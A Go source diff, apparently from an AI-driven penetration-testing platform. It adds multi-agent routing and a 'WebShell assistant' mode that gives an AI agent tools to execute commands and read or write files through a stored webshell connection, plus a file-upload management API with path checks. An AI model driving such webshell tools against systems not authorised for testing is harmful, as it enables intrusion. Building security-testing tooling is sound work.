if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
// 应用用户提示词
@@ -456,6 +491,53 @@ func (h *AgentHandler) ProcessMessageForRobot(ctx context.Context, conversationI
}
progressCallback := h.createProgressCallback(conversationID, assistantMessageID, nil)
useRobotMulti := h.config != nil && h.config.MultiAgent.Enabled && h.config.MultiAgent.RobotUseMultiAgent
if useRobotMulti {
resultMA, errMA := multiagent.RunDeepAgent(
ctx,
h.config,
&h.config.MultiAgent,
h.agent,
h.logger,
conversationID,
finalMessage,
agentHistoryMessages,
roleTools,
progressCallback,
h.agentsMarkdownDir,
)
if errMA != nil {
errMsg := "执行失败: " + errMA.Error()
if assistantMessageID != "" {
_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, assistantMessageID)
_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errMsg, nil)
}
return "", conversationID, errMA
}
if assistantMessageID != "" {
mcpIDsJSON := ""
if len(resultMA.MCPExecutionIDs) > 0 {
jsonData, _ := json.Marshal(resultMA.MCPExecutionIDs)
mcpIDsJSON = string(jsonData)
}
_, err = h.db.Exec(
"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
resultMA.Response, mcpIDsJSON, assistantMessageID,
)
if err != nil {
h.logger.Warn("机器人:更新助手消息失败", zap.Error(err))
}
} else {
if _, err = h.db.AddMessage(conversationID, "assistant", resultMA.Response, resultMA.MCPExecutionIDs); err != nil {
h.logger.Warn("机器人:保存助手消息失败", zap.Error(err))
}
}
if resultMA.LastReActInput != "" || resultMA.LastReActOutput != "" {
_ = h.db.SaveReActData(conversationID, resultMA.LastReActInput, resultMA.LastReActOutput)
}
return resultMA.Response, conversationID, nil
}
result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
if err != nil {
errMsg := "执行失败: " + err.Error()
@@ -634,8 +716,27 @@ func (h *AgentHandler) createProgressCallback(conversationID, assistantMessageID
}
}
// 保存过程详情到数据库(排除response和done事件,它们会在后面单独处理)
if assistantMessageID != "" && eventType != "response" && eventType != "done" {
// 子代理回复流式增量不落库;结束时合并为一条 eino_agent_reply
if assistantMessageID != "" && eventType == "eino_agent_reply_stream_end" {
if err := h.db.AddProcessDetail(assistantMessageID, conversationID, "eino_agent_reply", message, data); err != nil {
h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", eventType))
}
return
}
// 保存过程详情到数据库(排除response/done事件,它们会在后面单独处理)
// 另外:response_start/response_delta 是模型流式增量,保存会导致过程详情膨胀,因此不落库。
if assistantMessageID != "" &&
eventType != "response" &&
eventType != "done" &&
eventType != "response_start" &&
eventType != "response_delta" &&
eventType != "tool_result_delta" &&
eventType != "thinking_stream_start" &&
eventType != "thinking_stream_delta" &&
eventType != "eino_agent_reply_stream_start" &&
eventType != "eino_agent_reply_stream_delta" &&
eventType != "eino_agent_reply_stream_end" {
if err := h.db.AddProcessDetail(assistantMessageID, conversationID, eventType, message, data); err != nil {
h.logger.Warn("保存过程详情失败", zap.Error(err), zap.String("eventType", eventType))
}
@@ -675,8 +776,53 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 发送初始事件
// 用于跟踪客户端是否已断开连接
clientDisconnected := false
// 用于快速确认模型是否真的产生了流式 delta
var responseDeltaCount int
var responseStartLogged bool
sendEvent := func(eventType, message string, data interface{}) {
if eventType == "response_start" {
responseDeltaCount = 0
responseStartLogged = true
h.logger.Info("SSE: response_start",
zap.Int("conversationIdPresent", func() int {
if m, ok := data.(map[string]interface{}); ok {
if v, ok2 := m["conversationId"]; ok2 && v != nil && fmt.Sprint(v) != "" {
return 1
}
}
return 0
}()),
zap.String("messageGeneratedBy", func() string {
if m, ok := data.(map[string]interface{}); ok {
if v, ok2 := m["messageGeneratedBy"]; ok2 {
if s, ok3 := v.(string); ok3 {
return s
}
return fmt.Sprint(v)
}
}
return ""
}()),
)
} else if eventType == "response_delta" {
responseDeltaCount++
// 只打前几条,避免刷屏
if responseStartLogged && responseDeltaCount <= 3 {
h.logger.Info("SSE: response_delta",
zap.Int("index", responseDeltaCount),
zap.Int("deltaLen", len(message)),
zap.String("deltaPreview", func() string {
p := strings.ReplaceAll(message, "\n", "\\n")
if len(p) > 80 {
return p[:80] + "..."
}
return p
}()),
)
}
}
// 如果客户端已断开,不再发送事件
if clientDisconnected {
return
@@ -712,11 +858,17 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
}
}
// 如果没有对话ID,创建新对话
// 如果没有对话ID,创建新对话(WebShell 助手模式下关联连接 ID 以便持久化展示)
conversationID := req.ConversationID
if conversationID == "" {
title := safeTruncateString(req.Message, 50)
conv, err := h.db.CreateConversation(title)
var conv *database.Conversation
var err error
if req.WebShellConnectionID != "" {
conv, err = h.db.CreateConversationWithWebshell(strings.TrimSpace(req.WebShellConnectionID), title)
} else {
conv, err = h.db.CreateConversation(title)
}
if err != nil {
h.logger.Error("创建对话失败", zap.Error(err))
sendEvent("error", "创建对话失败: "+err.Error(), nil)
@@ -769,7 +921,32 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 应用角色用户提示词和工具配置
finalMessage := req.Message
var roleTools []string // 角色配置的工具列表
if req.Role != "" && req.Role != "默认" {
var roleSkills []string
if req.WebShellConnectionID != "" {
conn, errConn := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
if errConn != nil || conn == nil {
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
sendEvent("error", "未找到该 WebShell 连接", nil)
return
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步:若仅为问候、闲聊或简单问题,直接简短回复即可,不必调用工具;当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
roleTools = []string{
builtin.ToolWebshellExec,
builtin.ToolWebshellFileList,
builtin.ToolWebshellFileRead,
builtin.ToolWebshellFileWrite,
builtin.ToolRecordVulnerability,
builtin.ToolListKnowledgeRiskTypes,
builtin.ToolSearchKnowledgeBase,
builtin.ToolListSkills,
builtin.ToolReadSkill,
}
} else if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
// 应用用户提示词
@@ -788,6 +965,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
}
// 注意:角色配置的skills不再硬编码注入,AI可以通过list_skills和read_skill工具按需调用
if len(role.Skills) > 0 {
roleSkills = role.Skills
h.logger.Info("角色配置了skillsAI可通过工具按需调用", zap.String("role", req.Role), zap.Int("skillCount", len(role.Skills)), zap.Strings("skills", role.Skills))
}
}
@@ -886,17 +1064,7 @@ func (h *AgentHandler) AgentLoopStream(c *gin.Context) {
// 执行Agent Loop,传入独立的上下文,确保任务不会因客户端断开而中断(使用包含角色提示词的finalMessage和角色工具列表)
sendEvent("progress", "正在分析您的请求...", nil)
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if req.Role != "" && req.Role != "默认" {
if h.config.Roles != nil {
if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
if len(role.Skills) > 0 {
roleSkills = role.Skills
}
}
}
}
// 注意:roleSkills 已在上方根据 req.Role 或 WebShell 模式设置
result, err := h.agent.AgentLoopWithProgress(taskCtx, finalMessage, agentHistoryMessages, conversationID, progressCallback, roleTools, roleSkills)
if err != nil {
h.logger.Error("Agent Loop执行失败", zap.Error(err))
@@ -1396,7 +1564,7 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
// 应用角色用户提示词和工具配置
finalMessage := task.Message
var roleTools []string // 角色配置的工具列表
var roleTools []string // 角色配置的工具列表
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if queue.Role != "" && queue.Role != "默认" {
if h.config.Roles != nil {
@@ -1450,28 +1618,42 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
h.batchTaskManager.SetTaskCancel(queueID, cancel)
// 使用队列配置的角色工具列表(如果为空,表示使用所有工具)
// 注意:skills不会硬编码注入,但会在系统提示词中提示AI这个角色推荐使用哪些skills
result, err := h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills)
useBatchMulti := h.config != nil && h.config.MultiAgent.Enabled && h.config.MultiAgent.BatchUseMultiAgent
var result *agent.AgentLoopResult
var resultMA *multiagent.RunResult
var runErr error
if useBatchMulti {
resultMA, runErr = multiagent.RunDeepAgent(ctx, h.config, &h.config.MultiAgent, h.agent, h.logger, conversationID, finalMessage, []agent.ChatMessage{}, roleTools, progressCallback, h.agentsMarkdownDir)
} else {
result, runErr = h.agent.AgentLoopWithProgress(ctx, finalMessage, []agent.ChatMessage{}, conversationID, progressCallback, roleTools, roleSkills)
}
// 任务执行完成,清理取消函数
h.batchTaskManager.SetTaskCancel(queueID, nil)
cancel()
if err != nil {
if runErr != nil {
// 检查是否是取消错误
// 1. 直接检查是否是 context.Canceled(包括包装后的错误)
// 2. 检查错误消息中是否包含"context canceled"或"cancelled"关键字
// 3. 检查 result.Response 中是否包含取消相关的消息
errStr := err.Error()
isCancelled := errors.Is(err, context.Canceled) ||
errStr := runErr.Error()
partialResp := ""
if result != nil {
partialResp = result.Response
} else if resultMA != nil {
partialResp = resultMA.Response
}
isCancelled := errors.Is(runErr, context.Canceled) ||
strings.Contains(strings.ToLower(errStr), "context canceled") ||
strings.Contains(strings.ToLower(errStr), "context cancelled") ||
(result != nil && result.Response != "" && (strings.Contains(result.Response, "任务已被取消") || strings.Contains(result.Response, "任务执行中断")))
(partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")))
if isCancelled {
h.logger.Info("批量任务被取消", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
cancelMsg := "任务已被用户取消,后续操作已停止。"
// 如果result中有更具体的取消消息,使用它
if result != nil && result.Response != "" && (strings.Contains(result.Response, "任务已被取消") || strings.Contains(result.Response, "任务执行中断")) {
cancelMsg = result.Response
// 如果执行结果中有更具体的取消消息,使用它
if partialResp != "" && (strings.Contains(partialResp, "任务已被取消") || strings.Contains(partialResp, "任务执行中断")) {
cancelMsg = partialResp
}
// 更新助手消息内容
if assistantMessageID != "" {
@@ -1498,11 +1680,15 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
h.logger.Warn("保存取消任务的ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
}
} else if resultMA != nil && (resultMA.LastReActInput != "" || resultMA.LastReActOutput != "") {
if err := h.db.SaveReActData(conversationID, resultMA.LastReActInput, resultMA.LastReActOutput); err != nil {
h.logger.Warn("保存取消任务的ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
}
}
h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "cancelled", cancelMsg, "", conversationID)
} else {
h.logger.Error("批量任务执行失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
errorMsg := "执行失败: " + err.Error()
h.logger.Error("批量任务执行失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(runErr))
errorMsg := "执行失败: " + runErr.Error()
// 更新助手消息内容
if assistantMessageID != "" {
if _, updateErr := h.db.Exec(
@@ -1517,42 +1703,57 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
h.logger.Warn("保存错误详情失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
}
}
h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", err.Error())
h.batchTaskManager.UpdateTaskStatus(queueID, task.ID, "failed", "", runErr.Error())
}
} else {
h.logger.Info("批量任务执行成功", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
var resText string
var mcpIDs []string
var lastIn, lastOut string
if useBatchMulti {
resText = resultMA.Response
mcpIDs = resultMA.MCPExecutionIDs
lastIn = resultMA.LastReActInput
lastOut = resultMA.LastReActOutput
} else {
resText = result.Response
mcpIDs = result.MCPExecutionIDs
lastIn = result.LastReActInput
lastOut = result.LastReActOutput
}
// 更新助手消息内容
if assistantMessageID != "" {
mcpIDsJSON := ""
if len(result.MCPExecutionIDs) > 0 {
jsonData, _ := json.Marshal(result.MCPExecutionIDs)
if len(mcpIDs) > 0 {
jsonData, _ := json.Marshal(mcpIDs)
mcpIDsJSON = string(jsonData)
}
if _, updateErr := h.db.Exec(
"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
result.Response,
resText,
mcpIDsJSON,
assistantMessageID,
); updateErr != nil {
h.logger.Warn("更新助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(updateErr))
// 如果更新失败,尝试创建新消息
_, err = h.db.AddMessage(conversationID, "assistant", result.Response, result.MCPExecutionIDs)
_, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs)
if err != nil {
h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
}
}
} else {
// 如果没有预先创建的助手消息,创建一个新的
_, err = h.db.AddMessage(conversationID, "assistant", result.Response, result.MCPExecutionIDs)
_, err = h.db.AddMessage(conversationID, "assistant", resText, mcpIDs)
if err != nil {
h.logger.Error("保存助手消息失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID), zap.Error(err))
}
}
// 保存ReAct数据
if result.LastReActInput != "" || result.LastReActOutput != "" {
if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
if lastIn != "" || lastOut != "" {
if err := h.db.SaveReActData(conversationID, lastIn, lastOut); err != nil {
h.logger.Warn("保存ReAct数据失败", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.Error(err))
} else {
h.logger.Info("已保存ReAct数据", zap.String("queueId", queueID), zap.String("taskId", task.ID), zap.String("conversationId", conversationID))
@@ -1560,7 +1761,7 @@ func (h *AgentHandler) executeBatchQueue(queueID string) {
}
// 保存结果
h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "completed", result.Response, "", conversationID)
h.batchTaskManager.UpdateTaskStatusWithConversationID(queueID, task.ID, "completed", resText, "", conversationID)
}
// 移动到下一个任务
+484
View File
@@ -0,0 +1,484 @@
package handler
import (
"crypto/rand"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"sort"
"strings"
"time"
"unicode/utf8"
"github.com/gin-gonic/gin"
"go.uber.org/zap"
)
const (
chatUploadsRootDirName = "chat_uploads"
maxChatUploadEditBytes = 2 * 1024 * 1024 // 文本编辑上限
)
// ChatUploadsHandler 对话中上传附件(chat_uploads 目录)的管理 API
type ChatUploadsHandler struct {
logger *zap.Logger
}
// NewChatUploadsHandler 创建处理器
func NewChatUploadsHandler(logger *zap.Logger) *ChatUploadsHandler {
return &ChatUploadsHandler{logger: logger}
}
func (h *ChatUploadsHandler) absRoot() (string, error) {
cwd, err := os.Getwd()
if err != nil {
return "", err
}
return filepath.Abs(filepath.Join(cwd, chatUploadsRootDirName))
}
// resolveUnderChatUploads 校验 relativePath(使用 / 分隔)对应文件必须在 chat_uploads 根下
func (h *ChatUploadsHandler) resolveUnderChatUploads(relativePath string) (abs string, err error) {
root, err := h.absRoot()
if err != nil {
return "", err
}
rel := strings.TrimSpace(relativePath)
if rel == "" {
return "", fmt.Errorf("empty path")
}
rel = filepath.Clean(filepath.FromSlash(rel))
if rel == "." || strings.HasPrefix(rel, "..") {
return "", fmt.Errorf("invalid path")
}
full := filepath.Join(root, rel)
full, err = filepath.Abs(full)
if err != nil {
return "", err
}
rootAbs, _ := filepath.Abs(root)
if full != rootAbs && !strings.HasPrefix(full, rootAbs+string(filepath.Separator)) {
return "", fmt.Errorf("path escapes chat_uploads root")
}
return full, nil
}
// ChatUploadFileItem 列表项
type ChatUploadFileItem struct {
RelativePath string `json:"relativePath"`
AbsolutePath string `json:"absolutePath"` // 服务器上的绝对路径,便于在对话中引用(与附件落盘路径一致)
Name string `json:"name"`
Size int64 `json:"size"`
ModifiedUnix int64 `json:"modifiedUnix"`
Date string `json:"date"`
ConversationID string `json:"conversationId"`
// SubPath 为日期、会话目录之下的子路径(不含文件名),如 date/conv/a/b/file 则为 "a/b";无嵌套则为 ""。
SubPath string `json:"subPath"`
}
// List GET /api/chat-uploads
func (h *ChatUploadsHandler) List(c *gin.Context) {
conversationFilter := strings.TrimSpace(c.Query("conversation"))
root, err := h.absRoot()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if _, err := os.Stat(root); os.IsNotExist(err) {
c.JSON(http.StatusOK, gin.H{"files": []ChatUploadFileItem{}})
return
}
var files []ChatUploadFileItem
err = filepath.WalkDir(root, func(path string, d os.DirEntry, walkErr error) error {
if walkErr != nil {
return walkErr
}
if d.IsDir() {
return nil
}
info, err := d.Info()
if err != nil {
return err
}
rel, err := filepath.Rel(root, path)
if err != nil {
return err
}
relSlash := filepath.ToSlash(rel)
parts := strings.Split(relSlash, "/")
var dateStr, convID string
if len(parts) >= 2 {
dateStr = parts[0]
}
if len(parts) >= 3 {
convID = parts[1]
}
var subPath string
if len(parts) >= 4 {
subPath = strings.Join(parts[2:len(parts)-1], "/")
}
if conversationFilter != "" && convID != conversationFilter {
return nil
}
absPath, _ := filepath.Abs(path)
files = append(files, ChatUploadFileItem{
RelativePath: relSlash,
AbsolutePath: absPath,
Name: d.Name(),
Size: info.Size(),
ModifiedUnix: info.ModTime().Unix(),
Date: dateStr,
ConversationID: convID,
SubPath: subPath,
})
return nil
})
if err != nil {
h.logger.Warn("列举对话附件失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
sort.Slice(files, func(i, j int) bool {
return files[i].ModifiedUnix > files[j].ModifiedUnix
})
c.JSON(http.StatusOK, gin.H{"files": files})
}
// Download GET /api/chat-uploads/download?path=...
func (h *ChatUploadsHandler) Download(c *gin.Context) {
p := c.Query("path")
abs, err := h.resolveUnderChatUploads(p)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
c.FileAttachment(abs, filepath.Base(abs))
}
type chatUploadPathBody struct {
Path string `json:"path"`
}
// Delete DELETE /api/chat-uploads
func (h *ChatUploadsHandler) Delete(c *gin.Context) {
var body chatUploadPathBody
if err := c.ShouldBindJSON(&body); err != nil || strings.TrimSpace(body.Path) == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
return
}
abs, err := h.resolveUnderChatUploads(body.Path)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil {
if os.IsNotExist(err) {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if st.IsDir() {
if err := os.RemoveAll(abs); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
} else {
if err := os.Remove(abs); err != nil {
if os.IsNotExist(err) {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"ok": true})
}
type chatUploadMkdirBody struct {
Parent string `json:"parent"`
Name string `json:"name"`
}
// Mkdir POST /api/chat-uploads/mkdir — 在 parent 目录下新建子目录(parent 为 chat_uploads 下相对路径,空表示根目录;name 为单段目录名)
func (h *ChatUploadsHandler) Mkdir(c *gin.Context) {
var body chatUploadMkdirBody
if err := c.ShouldBindJSON(&body); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
return
}
name := strings.TrimSpace(body.Name)
if name == "" || strings.ContainsAny(name, `/\`) || name == "." || name == ".." {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid name"})
return
}
if utf8.RuneCountInString(name) > 200 {
c.JSON(http.StatusBadRequest, gin.H{"error": "name too long"})
return
}
parent := strings.TrimSpace(body.Parent)
parent = filepath.ToSlash(filepath.Clean(filepath.FromSlash(parent)))
parent = strings.Trim(parent, "/")
if parent == "." {
parent = ""
}
root, err := h.absRoot()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if parent != "" {
absParent, err := h.resolveUnderChatUploads(parent)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(absParent)
if err != nil || !st.IsDir() {
c.JSON(http.StatusBadRequest, gin.H{"error": "parent not found"})
return
}
}
var rel string
if parent == "" {
rel = name
} else {
rel = parent + "/" + name
}
absNew, err := h.resolveUnderChatUploads(rel)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if _, err := os.Stat(absNew); err == nil {
c.JSON(http.StatusConflict, gin.H{"error": "already exists"})
return
}
if err := os.Mkdir(absNew, 0755); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
relOut, _ := filepath.Rel(root, absNew)
c.JSON(http.StatusOK, gin.H{"ok": true, "relativePath": filepath.ToSlash(relOut)})
}
type chatUploadRenameBody struct {
Path string `json:"path"`
NewName string `json:"newName"`
}
// Rename PUT /api/chat-uploads/rename
func (h *ChatUploadsHandler) Rename(c *gin.Context) {
var body chatUploadRenameBody
if err := c.ShouldBindJSON(&body); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
return
}
newName := strings.TrimSpace(body.NewName)
if newName == "" || strings.ContainsAny(newName, `/\`) {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid newName"})
return
}
abs, err := h.resolveUnderChatUploads(body.Path)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
dir := filepath.Dir(abs)
newAbs := filepath.Join(dir, filepath.Base(newName))
root, _ := h.absRoot()
newAbs, _ = filepath.Abs(newAbs)
if newAbs != root && !strings.HasPrefix(newAbs, root+string(filepath.Separator)) {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid target path"})
return
}
if err := os.Rename(abs, newAbs); err != nil {
if os.IsNotExist(err) {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
newRel, _ := filepath.Rel(root, newAbs)
c.JSON(http.StatusOK, gin.H{"ok": true, "relativePath": filepath.ToSlash(newRel)})
}
type chatUploadContentBody struct {
Path string `json:"path"`
Content string `json:"content"`
}
// GetContent GET /api/chat-uploads/content?path=...
func (h *ChatUploadsHandler) GetContent(c *gin.Context) {
p := c.Query("path")
abs, err := h.resolveUnderChatUploads(p)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(abs)
if err != nil || st.IsDir() {
c.JSON(http.StatusNotFound, gin.H{"error": "file not found"})
return
}
if st.Size() > maxChatUploadEditBytes {
c.JSON(http.StatusRequestEntityTooLarge, gin.H{"error": "file too large for editor"})
return
}
b, err := os.ReadFile(abs)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if !utf8.Valid(b) {
c.JSON(http.StatusBadRequest, gin.H{"error": "binary file not editable in UI"})
return
}
c.JSON(http.StatusOK, gin.H{"content": string(b)})
}
// PutContent PUT /api/chat-uploads/content
func (h *ChatUploadsHandler) PutContent(c *gin.Context) {
var body chatUploadContentBody
if err := c.ShouldBindJSON(&body); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "invalid body"})
return
}
if !utf8.ValidString(body.Content) {
c.JSON(http.StatusBadRequest, gin.H{"error": "content must be valid UTF-8"})
return
}
if len(body.Content) > maxChatUploadEditBytes {
c.JSON(http.StatusRequestEntityTooLarge, gin.H{"error": "content too large"})
return
}
abs, err := h.resolveUnderChatUploads(body.Path)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := os.WriteFile(abs, []byte(body.Content), 0644); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"ok": true})
}
func chatUploadShortRand(n int) string {
const letters = "0123456789abcdef"
b := make([]byte, n)
_, _ = rand.Read(b)
for i := range b {
b[i] = letters[int(b[i])%len(letters)]
}
return string(b)
}
// Upload POST /api/chat-uploads multipart: fileconversationId 可选;relativeDir 可选(chat_uploads 下目录的相对路径,将文件直接上传至该目录)
func (h *ChatUploadsHandler) Upload(c *gin.Context) {
fh, err := c.FormFile("file")
if err != nil || fh == nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "missing file"})
return
}
root, err := h.absRoot()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
var targetDir string
targetRel := strings.TrimSpace(c.PostForm("relativeDir"))
if targetRel != "" {
absDir, err := h.resolveUnderChatUploads(targetRel)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
st, err := os.Stat(absDir)
if err != nil {
if os.IsNotExist(err) {
if err := os.MkdirAll(absDir, 0755); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
} else {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
} else if !st.IsDir() {
c.JSON(http.StatusBadRequest, gin.H{"error": "relativeDir is not a directory"})
return
}
targetDir = absDir
} else {
convID := strings.TrimSpace(c.PostForm("conversationId"))
convDir := convID
if convDir == "" {
convDir = "_manual"
} else {
convDir = strings.ReplaceAll(convDir, string(filepath.Separator), "_")
}
dateStr := time.Now().Format("2006-01-02")
targetDir = filepath.Join(root, dateStr, convDir)
if err := os.MkdirAll(targetDir, 0755); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
baseName := filepath.Base(fh.Filename)
if baseName == "" || baseName == "." {
baseName = "file"
}
baseName = strings.ReplaceAll(baseName, string(filepath.Separator), "_")
ext := filepath.Ext(baseName)
nameNoExt := strings.TrimSuffix(baseName, ext)
suffix := fmt.Sprintf("_%s_%s", time.Now().Format("150405"), chatUploadShortRand(6))
var unique string
if ext != "" {
unique = nameNoExt + suffix + ext
} else {
unique = baseName + suffix
}
fullPath := filepath.Join(targetDir, unique)
src, err := fh.Open()
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
defer src.Close()
dst, err := os.Create(fullPath)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer dst.Close()
if _, err := io.Copy(dst, src); err != nil {
_ = os.Remove(fullPath)
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
rel, _ := filepath.Rel(root, fullPath)
absSaved, _ := filepath.Abs(fullPath)
c.JSON(http.StatusOK, gin.H{
"ok": true,
"relativePath": filepath.ToSlash(rel),
"absolutePath": absSaved,
"name": unique,
})
}
+95 -21
View File
@@ -12,6 +12,7 @@ import (
"sync"
"time"
"cyberstrike-ai/internal/agents"
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/knowledge"
"cyberstrike-ai/internal/mcp"
@@ -28,6 +29,9 @@ type KnowledgeToolRegistrar func() error
// VulnerabilityToolRegistrar 漏洞工具注册器接口
type VulnerabilityToolRegistrar func() error
// WebshellToolRegistrar WebShell 工具注册器接口(ApplyConfig 时重新注册)
type WebshellToolRegistrar func() error
// SkillsToolRegistrar Skills工具注册器接口
type SkillsToolRegistrar func() error
@@ -60,6 +64,7 @@ type ConfigHandler struct {
externalMCPMgr *mcp.ExternalMCPManager // 外部MCP管理器
knowledgeToolRegistrar KnowledgeToolRegistrar // 知识库工具注册器(可选)
vulnerabilityToolRegistrar VulnerabilityToolRegistrar // 漏洞工具注册器(可选)
webshellToolRegistrar WebshellToolRegistrar // WebShell 工具注册器(可选)
skillsToolRegistrar SkillsToolRegistrar // Skills工具注册器(可选)
retrieverUpdater RetrieverUpdater // 检索器更新器(可选)
knowledgeInitializer KnowledgeInitializer // 知识库初始化器(可选)
@@ -120,6 +125,13 @@ func (h *ConfigHandler) SetVulnerabilityToolRegistrar(registrar VulnerabilityToo
h.vulnerabilityToolRegistrar = registrar
}
// SetWebshellToolRegistrar 设置 WebShell 工具注册器
func (h *ConfigHandler) SetWebshellToolRegistrar(registrar WebshellToolRegistrar) {
h.mu.Lock()
defer h.mu.Unlock()
h.webshellToolRegistrar = registrar
}
// SetSkillsToolRegistrar 设置Skills工具注册器
func (h *ConfigHandler) SetSkillsToolRegistrar(registrar SkillsToolRegistrar) {
h.mu.Lock()
@@ -157,13 +169,14 @@ func (h *ConfigHandler) SetRobotRestarter(restarter RobotRestarter) {
// GetConfigResponse 获取配置响应
type GetConfigResponse struct {
OpenAI config.OpenAIConfig `json:"openai"`
FOFA config.FofaConfig `json:"fofa"`
